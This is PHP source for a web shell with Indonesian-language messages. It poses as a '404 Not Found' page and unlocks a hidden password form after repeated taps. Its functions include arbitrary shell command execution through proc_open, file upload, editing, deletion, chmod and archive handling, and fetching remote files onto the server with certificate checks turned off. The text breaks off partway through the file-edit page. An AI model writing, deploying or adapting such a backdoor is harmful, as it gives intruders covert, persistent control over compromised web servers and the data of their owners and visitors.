session_start();ini_set('display_errors', 1);ini_set('display_startup_errors', 1);error_reporting(E_ALL);$self = basename(__FILE__);$lock_file = __DIR__ . '/.fs_lock';$cwd = isset($_GET['d']) ? realpath($_GET['d']) : getcwd();$cwd = $cwd ?: getcwd(); // Fallback in case realpath returns false$msg = isset($_GET['msg']) ? htmlspecialchars($_GET['msg']) : '';$clipboard_items = isset($_SESSION['clipboard_items']) ? $_SESSION['clipboard_items'] : [];$clipboard_type = isset($_SESSION['clipboard_type']) ? $_SESSION['clipboard_type'] : null;// Handle lock file for authenticationif (file_exists($lock_file) && !isset($_SESSION['unlocked'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['pass'])) { $hash = file_get_contents($lock_file); if (password_verify($_POST['pass'], $hash)) { $_SESSION['unlocked'] = true; header("Location: ?d=" . urlencode($cwd)); exit; } else { $msg = "Password salah"; } }echo <<<HTML<!DOCTYPE html><html style="height:100%" data-bs-theme="dark">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />404 Not Found<title>404 Not Found</title><link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'><style> body { color: #444; margin:0; font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: var(--bs-body-bg); } .hidden-message { display: none; font-size: 24px; color: green; }</style><body ontouchstart=""><div style="height:auto; min-height:100%;"> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;color:var(--bs-body-color);"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404 <h2 style="margin-top:20px;font-size: 30px;">Not Found <p>The resource requested could not be found on this server!</p> </div></div><div class="hidden-message" id="secret"> </div><script> let tapCount = 0; let timer; ['click', 'touchstart'].forEach(eventType => { document.body.addEventListener(eventType, function () { tapCount++; clearTimeout(timer); if (tapCount >= 10) { document.getElementById('secret').style.display = 'block'; } timer = setTimeout(() => { tapCount = 0; }, 800); }); });</script>HTML; if (!empty($msg)) { echo "<script>alert('$msg');</script>"; } exit;}// Helper Functionsfunction list_dir($path) { $items = scandir($path); $dirs = $files = []; foreach ($items as $item) { if ($item === "." || $item === "..") continue; $full = "$path/$item"; // Check if item exists before calling file* functions if (!file_exists($full)) { error_log("File or directory not found: " . $full); continue; } $info = [ 'name' => $item, 'path' => $full, 'is_dir' => is_dir($full), 'size' => is_file($full) ? filesize($full) : '-', 'mtime' => filemtime($full) ]; if (is_dir($full)) $dirs[] = $info; else $files[] = $info; } // Handle root directory correctly for '..' navigation $current_path_real = realpath($path); $document_root_real = realpath($_SERVER['DOCUMENT_ROOT']); // Check if current directory is not the actual root of the filesystem // and not the document root (if applicable, or simply if it's not the highest accessible directory) if ($current_path_real !== '/' && $current_path_real !== $document_root_real) { $parent_path = dirname($path); // Ensure parent path is within accessible limits or logical if (strpos(realpath($parent_path), $document_root_real) === 0 || $parent_path === '/') { // Added a check to prevent going above document root easily array_unshift($dirs, [ 'name' => '..', 'path' => $parent_path, 'is_dir' => true, 'size' => '-', 'mtime' => filemtime($parent_path) ]); } } return array_merge($dirs, $files);}function formatSize($b) { if (!is_numeric($b)) return '-'; if ($b >= 1073741824) return round($b / 1073741824, 2) . ' GB'; if ($b >= 1048576) return round($b / 1048576, 2) . ' MB'; if ($b >= 1024) return round($b / 1024, 2) . ' KB'; return $b . ' B';}function perms($file) { $p = @fileperms($file); // Use @ to suppress warnings if fileperms fails (e.g., permission denied) if ($p === false) return '---------'; return ($p & 0x4000 ? 'd' : '-') . (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')) . (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')) . (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));}function perms_to_octal($perms) { // fileperms returns an integer, sprintf with %o formats it as octal // substr is used to get the last 4 characters, which represent the permissions return substr(sprintf('%o', $perms), -4);}function breadcrumbs($path, $self_filename) { $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $full = ''; $out = ['<a href="' . htmlspecialchars($self_filename) . '">/</a>']; // Link to the script itself for root foreach ($parts as $part) { if (empty($part)) continue; $full .= '/' . $part; $out[] = "<a href='?d=" . urlencode($full) . "'>$part</a>"; } return implode("/", $out);}function delete_recursive($path) { if (!file_exists($path)) return false; if (is_file($path)) return unlink($path); elseif (is_dir($path)) { $items = array_diff(scandir($path), ['.', '..']); foreach ($items as $item) { if (!delete_recursive($path . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($path); } return false;}function create_zip_from_items($items_to_zip, $destination_zip_file, $base_dir) { if (!extension_loaded('zip')) { error_log("ZIP extension not loaded."); return false; } $zip = new ZipArchive(); if (!$zip->open($destination_zip_file, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE)) { error_log("Failed to open zip archive: " . $destination_zip_file); return false; } $success_count = 0; foreach ($items_to_zip as $item_path_encoded) { $item_path = realpath(urldecode($item_path_encoded)); if ($item_path === false || !file_exists($item_path)) { error_log("Item not found or invalid path: " . $item_path_encoded); continue; } // Security check: Ensure item is within the base_dir if (strpos($item_path, realpath($base_dir)) !== 0) { error_log("Attempted to zip file outside current directory: " . $item_path); continue; } // Calculate relative path for the zip archive $relativePath = ltrim(str_replace(realpath($base_dir), '', $item_path), DIRECTORY_SEPARATOR); // Handle root directory as base_dir case for relative path if (realpath($base_dir) === $item_path) { $relativePath = basename($item_path); } else if (str_starts_with($item_path, realpath($base_dir) . DIRECTORY_SEPARATOR)) { $relativePath = substr($item_path, strlen(realpath($base_dir)) + 1); } if (is_file($item_path)) { if ($zip->addFile($item_path, $relativePath)) { $success_count++; } else { error_log("Failed to add file to zip: " . $item_path); } } elseif (is_dir($item_path)) { // Add empty directory entry $zip->addEmptyDir($relativePath . '/'); // Add all files and subdirectories recursively $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); // Ensure entry name is relative to the original item_path being zipped $entryName = $relativePath . '/' . ltrim(str_replace($item_path, '', $filePath), DIRECTORY_SEPARATOR); if ($zip->addFile($filePath, $entryName)) { $success_count++; } else { error_log("Failed to add directory file to zip: " . $filePath); } } } } } $zip->close(); return $success_count;}function execute_command($cmd, $cwd) { if (!function_exists('proc_open')) { return "<pre>Error: Fungsi proc_open() dinonaktifkan di server ini. Tidak dapat menjalankan perintah.</pre>"; } $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = @proc_open($cmd, $descriptorspec, $pipes, $cwd, null); if (is_resource($process)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]); $return_value = proc_close($process); return "<pre style='color:#00ff00'>\n" . htmlspecialchars($stdout) . "\nError:\n" . htmlspecialchars($stderr) . "\nExit Code: " . htmlspecialchars($return_value) . "</pre>"; } else { $last_error = error_get_last(); return "<pre>Error: Could not open process. " . ($last_error ? htmlspecialchars($last_error['message']) : 'Tidak dapat memulai proses eksternal.') . "</pre>"; }}function copy_recursive($source, $dest) { if (is_file($source)) { return copy($source, $dest); } elseif (is_dir($source)) { @mkdir($dest, 0755, true); // Use @ to suppress warning if dir exists or permission issue $items = array_diff(@scandir($source) ?: [], ['.', '..']); // Use @ and check for false foreach ($items as $item) { if (!copy_recursive($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item)) { return false; } } return true; } return false;}// Function to get URL content using cURLfunction getUrlContent($url) { if (!extension_loaded('curl')) { error_log("cURL extension not loaded."); return false; } $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, // WARNING: Only for development/testing, not recommended for production CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36', CURLOPT_TIMEOUT => 30, // Increased timeout for potentially large files ]); $data = curl_exec($ch); if (curl_errno($ch)) { error_log("cURL error: " . curl_error($ch)); $data = false; } curl_close($ch); return $data;}// Action Handlersif ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['uploadfile'])) { // Ensure the upload directory is writable if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: Direktori tidak dapat ditulis.")); exit; } if (isset($_FILES['uploadfile']) && $_FILES['uploadfile']['error'] === UPLOAD_ERR_OK) { $dest = $cwd . '/' . basename($_FILES['uploadfile']['name']); // Check if file already exists to prevent overwrite issues (optional) // if (file_exists($dest)) { /* handle as needed, e.g., rename, error */ } $ok = move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Upload sukses") : urlencode("Upload gagal: Gagal memindahkan file."))); } else { $upload_error_msg = "Unknown error."; switch ($_FILES['uploadfile']['error']) { case UPLOAD_ERR_INI_SIZE: $upload_error_msg = "Ukuran file melebihi batas upload_max_filesize di php.ini."; break; case UPLOAD_ERR_FORM_SIZE: $upload_error_msg = "Ukuran file melebihi batas MAX_FILE_SIZE yang ditentukan di formulir HTML."; break; case UPLOAD_ERR_PARTIAL: $upload_error_msg = "File hanya terunggah sebagian."; break; case UPLOAD_ERR_NO_FILE: $upload_error_msg = "Tidak ada file yang diunggah."; break; case UPLOAD_ERR_NO_TMP_DIR: $upload_error_msg = "Direktori sementara hilang."; break; case UPLOAD_ERR_CANT_WRITE: $upload_error_msg = "Gagal menulis file ke disk."; break; case UPLOAD_ERR_EXTENSION: $upload_error_msg = "Ekstensi PHP menghentikan unggahan file."; break; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: " . $upload_error_msg)); } exit; } if (isset($_POST['newfile'])) { // Ensure the directory is writable if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat file: Direktori tidak dapat ditulis.")); exit; } $filename = trim($_POST['newfile']); if (empty($filename) || strpos($filename, '/') !== false || strpos($filename, '\\') !== false) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama file tidak valid.")); exit; } $filepath = $cwd . '/' . $filename; $ok = file_put_contents($filepath, $_POST['filedata']); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? urlencode("File dibuat") : urlencode("Gagal membuat file"))); exit; } if (isset($_POST['newfolder'])) { // Ensure the directory is writable if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat folder: Direktori tidak dapat ditulis.")); exit; } $foldername = trim($_POST['newfolder']); if (empty($foldername) || strpos($foldername, '/') !== false || strpos($foldername, '\\') !== false) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama folder tidak valid.")); exit; } $folderpath = $cwd . '/' . $foldername; $ok = mkdir($folderpath); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Folder dibuat") : urlencode("Gagal membuat folder"))); exit; } if (isset($_POST['setpass'])) { file_put_contents($lock_file, password_hash($_POST['setpass'], PASSWORD_DEFAULT)); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password disimpan")); exit; } if (isset($_POST['editfile'])) { $filepath = urldecode($_POST['filepath']); // Re-validate path to ensure it's still within cwd for security if (realpath($filepath) === false || strpos(realpath($filepath), realpath($cwd)) !== 0 || is_dir($filepath)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan: Path tidak valid atau di luar direktori kerja.")); exit; } if (!is_writable($filepath)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan: File tidak dapat ditulis.")); exit; } $ok = file_put_contents($filepath, $_POST['filedata']); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? urlencode("File berhasil disimpan") : urlencode("Gagal menyimpan file"))); exit; } if (isset($_POST['rename_submit'])) { $old = urldecode($_POST['old_path_rename']); $new_name = basename(trim($_POST['new_name'])); // Ensure only basename to prevent path traversal $new = dirname($old) . '/' . $new_name; // More robust path validation for rename $old_real = realpath($old); $cwd_real = realpath($cwd); if ($old_real === false || strpos($old_real, $cwd_real) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal rename: Path tidak valid atau di luar direktori kerja.")); exit; } if (empty($new_name)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal rename: Nama baru tidak boleh kosong.")); exit; } $ok = rename($old, $new); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Rename sukses") : urlencode("Rename gagal"))); exit; } if (isset($_POST['delpass'])) { if (file_exists($lock_file)) { if (unlink($lock_file)) { $_SESSION['unlocked'] = false; // Log out after deleting password header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password dihapus")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menghapus file password.")); } } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File password tidak ditemukan.")); } exit; } if (isset($_POST['batch_action']) && isset($_POST['selected_items']) && !empty($_POST['selected_items'])) { $selected_items = $_POST['selected_items']; $action_type = $_POST['batch_action']; $msg_text = ""; $success_count = 0; $failed_items = []; foreach ($selected_items as $key => $item_encoded) { // Re-validate path for each item to prevent malicious manipulation of selected_items $item_path = realpath(urldecode($item_encoded)); if ($item_path === false || strpos($item_path, realpath($cwd)) !== 0) { $failed_items[] = basename(urldecode($item_encoded)) . " (path invalid/unsafe)"; unset($selected_items[$key]); // Remove unsafe item from processing } else { $selected_items[$key] = $item_path; // Use realpath for consistency } } switch ($action_type) { case 'delete': foreach ($selected_items as $item_path) { if (delete_recursive($item_path)) { $success_count++; } else { $failed_items[] = basename($item_path); } } $msg_text = "$success_count item berhasil dihapus."; if (!empty($failed_items)) { $msg_text .= " Gagal menghapus: " . implode(", ", $failed_items) . "."; } break; case 'zip': // Ensure the directory is writable for the zip file if (!is_writable($cwd)) { $msg_text = "Gagal membuat zip: Direktori tidak dapat ditulis."; break; } $zip_file_name = $cwd . '/' . 'archive_' . time() . '.zip'; $success_count = create_zip_from_items($selected_items, $zip_file_name, $cwd); // Pass actual paths, not encoded ones if ($success_count !== false) { if ($success_count > 0) { $msg_text = "Berhasil mengarsipkan $success_count item ke " . basename($zip_file_name); } else { $msg_text = "Tidak ada item yang diarsipkan atau gagal mengarsipkan."; if (file_exists($zip_file_name)) { // Clean up empty zip file unlink($zip_file_name); } } } else { $msg_text = "Gagal membuat file zip. Periksa log server untuk detail."; } break; case 'copy': case 'cut': $_SESSION['clipboard_items'] = []; $_SESSION['clipboard_type'] = $action_type; foreach ($selected_items as $item_path) { // Use validated real paths $_SESSION['clipboard_items'][] = $item_path; $success_count++; } $action_verb = ($action_type === 'copy' ? 'disalin' : 'dipotong'); $msg_text = "$success_count item berhasil {$action_verb} ke clipboard."; if (!empty($failed_items)) { $msg_text .= " Gagal {$action_verb}: " . implode(", ", $failed_items) . "."; } break; default: $msg_text = "Aksi batch tidak valid."; break; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text)); exit; } if (isset($_POST['set_chmod'])) { $target_path = urldecode($_POST['chmod_path']); $octal_value = $_POST['chmod_octal']; if (!preg_match('/^[0-7]{3,4}$/', $octal_value)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: Format izin tidak valid (gunakan 3 atau 4 digit oktal).")); exit; } $mode = octdec($octal_value); // Path validation $target_real = realpath($target_path); $cwd_real = realpath($cwd); if ($target_real === false || strpos($target_real, $cwd_real) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: Path tidak valid atau di luar direktori kerja.")); exit; } $ok = @chmod($target_path, $mode); // Use @ to suppress warnings if chmod fails if ($ok) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("CHMOD berhasil diubah menjadi " . $octal_value)); } else { $last_error = error_get_last(); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: " . ($last_error ? $last_error['message'] : 'Kesalahan tidak diketahui.') . ". Pastikan Anda memiliki izin yang cukup.")); } exit; } if (isset($_POST['paste_item'])) { if (empty($_SESSION['clipboard_items']) || !isset($_SESSION['clipboard_type'])) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Clipboard kosong.")); exit; } // Ensure destination is writable if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menempel: Direktori tujuan tidak dapat ditulis.")); exit; } $operation_type = $_SESSION['clipboard_type']; $total_success = 0; $total_failed = []; foreach ($_SESSION['clipboard_items'] as $source_path) { $destination_path = $cwd . DIRECTORY_SEPARATOR . basename($source_path); // Re-validate source path to prevent issues if clipboard content was tampered with $source_real = realpath($source_path); if ($source_real === false || !file_exists($source_real)) { $total_failed[] = basename($source_path) . " (sumber tidak ditemukan)"; continue; } if ($source_real === realpath($destination_path)) { $total_failed[] = basename($source_path) . " (lokasi sama)"; continue; } // Prevent copying/cutting a directory into itself if (is_dir($source_real) && strpos($destination_path, $source_real . DIRECTORY_SEPARATOR) === 0) { $total_failed[] = basename($source_path) . " (tempel ke dalam diri sendiri)"; continue; } $ok = false; if ($operation_type === 'copy') { $ok = copy_recursive($source_real, $destination_path); } elseif ($operation_type === 'cut') { // Ensure target directory for rename is writable if (!is_writable(dirname($destination_path))) { $total_failed[] = basename($source_path) . " (izin direktori tujuan tidak cukup untuk memindahkan)"; continue; } $ok = rename($source_real, $destination_path); } if ($ok) { $total_success++; } else { $total_failed[] = basename($source_path); } } if ($total_success > 0) { unset($_SESSION['clipboard_items']); unset($_SESSION['clipboard_type']); $msg_action = ($operation_type === 'copy' ? 'menyalin' : 'memindahkan'); $msg_text = "Berhasil {$msg_action} $total_success item ke " . basename($cwd); if (!empty($total_failed)) { $msg_text .= ". Gagal: " . implode(", ", $total_failed) . "."; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text)); } else { $msg_text = "Gagal menempel item."; if (!empty($total_failed)) { $msg_text .= " Gagal: " . implode(", ", $total_failed) . "."; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text)); } exit; } // CMD Execution from POST if (isset($_POST['cmd_exec']) && isset($_POST['command'])) { $command_to_exec = trim($_POST['command']); $cmd_output = execute_command($command_to_exec, $cwd); // Store command in history if (!isset($_SESSION['cmd_history'])) { $_SESSION['cmd_history'] = []; } array_unshift($_SESSION['cmd_history'], $command_to_exec); $_SESSION['cmd_history'] = array_slice($_SESSION['cmd_history'], 0, 10); // Keep last 10 commands header("Location: ?action=cmd&d=" . urlencode($cwd) . "&cmd_output=" . urlencode($cmd_output)); exit; } // Clear CMD History if (isset($_POST['clear_cmd_history'])) { unset($_SESSION['cmd_history']); header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Riwayat perintah dihapus.")); exit; } // Handle Import Raw File from URL if (isset($_POST['download_url_and_save'])) { $url = trim($_POST['url_to_download_raw']); $filename = trim($_POST['filename_to_save']); $message = ''; if (filter_var($url, FILTER_VALIDATE_URL) && !empty($filename)) { // Security check: Ensure filename is safe and within current directory $filename_safe = basename($filename); $destination_filepath = $cwd . DIRECTORY_SEPARATOR . $filename_safe; // Prevent overwriting fsv4.php or other critical files (optional but recommended) if ($filename_safe === basename(__FILE__) || $filename_safe === '.fs_lock') { $message = "<span style='color:red;'>❌ Nama file ini tidak diizinkan!</span>"; } elseif (!is_writable($cwd)) { $message = "<span style='color:red;'>❌ Direktori tidak dapat ditulis!</span>"; } else { $data = getUrlContent($url); if ($data !== false && strlen($data) > 0) { if (file_put_contents($destination_filepath, $data) !== false) { $message = "<span style='color:green;'>✅ Berhasil menyimpan file sebagai <strong>" . htmlspecialchars($filename_safe) . "</strong></span>"; } else { $message = "<span style='color:red;'>❌ Gagal menulis data ke file! Periksa izin.</span>"; } } else { $message = "<span style='color:red;'>❌ Gagal mengambil data dari URL! Periksa log server untuk detail cURL.</span>"; } } } else { $message = "<span style='color:red;'>⚠️ URL tidak valid atau nama file kosong!</span>"; } header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode($message)); exit; }}// GET request actionsif (isset($_GET['delete'])) { $target = realpath(urldecode($_GET['delete'])); // Re-validate target path if ($target !== false && strpos($target, realpath($cwd)) === 0) { $ok = delete_recursive($target); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Dihapus") : urlencode("Gagal hapus"))); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal hapus: Path tidak valid atau di luar direktori kerja.")); } exit;}if (isset($_GET['unzip'])) { $file_to_unzip = realpath(urldecode($_GET['unzip'])); if ($file_to_unzip === false || !file_exists($file_to_unzip) || is_dir($file_to_unzip)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal unzip: File tidak ditemukan atau bukan file.")); exit; } if (strpos($file_to_unzip, realpath($cwd)) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File di luar direktori kerja.")); exit; } // Ensure the extraction path is writable $extract_path = dirname($file_to_unzip); if (!is_writable($extract_path)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal unzip: Direktori tujuan tidak dapat ditulis.")); exit; } $zip = new ZipArchive; if ($zip->open($file_to_unzip) === TRUE) { $ok = $zip->extractTo($extract_path); $zip->close(); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("File berhasil di-unzip.") : urlencode("Gagal unzip file. Pastikan tidak ada konflik file atau izin."))); exit; } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuka file zip.")); exit; }}// Edit File Pageif (isset($_GET['edit'])) { $f = realpath(urldecode($_GET['edit'])); if ($f === false || !file_exists($f) || is_dir($f)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak ditemukan atau bukan file yang bisa diedit.")); exit; } if (strpos($f, realpath($cwd)) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Tidak diizinkan mengedit file di luar direktori kerja.")); exit; } // Check if the file is readable if (!is_readable($f)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Tidak dapat membaca file: Izin ditolak.")); exit; } $data = htmlspecialchars(file_get_contents($f)); echo "<!DOCTYPE html> <html data-bs-theme='dark'> <meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no' />Edit File <title>Edit File</title> <link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'> <style>body {padding-top: 20px;}</style> <body class='p-4'> <a href='?d=" . urlencode($cwd) . "' class='btn btn-sm btn-secondary mb-3'><i class='fa fa-arrow-left'></i> Kembali</a>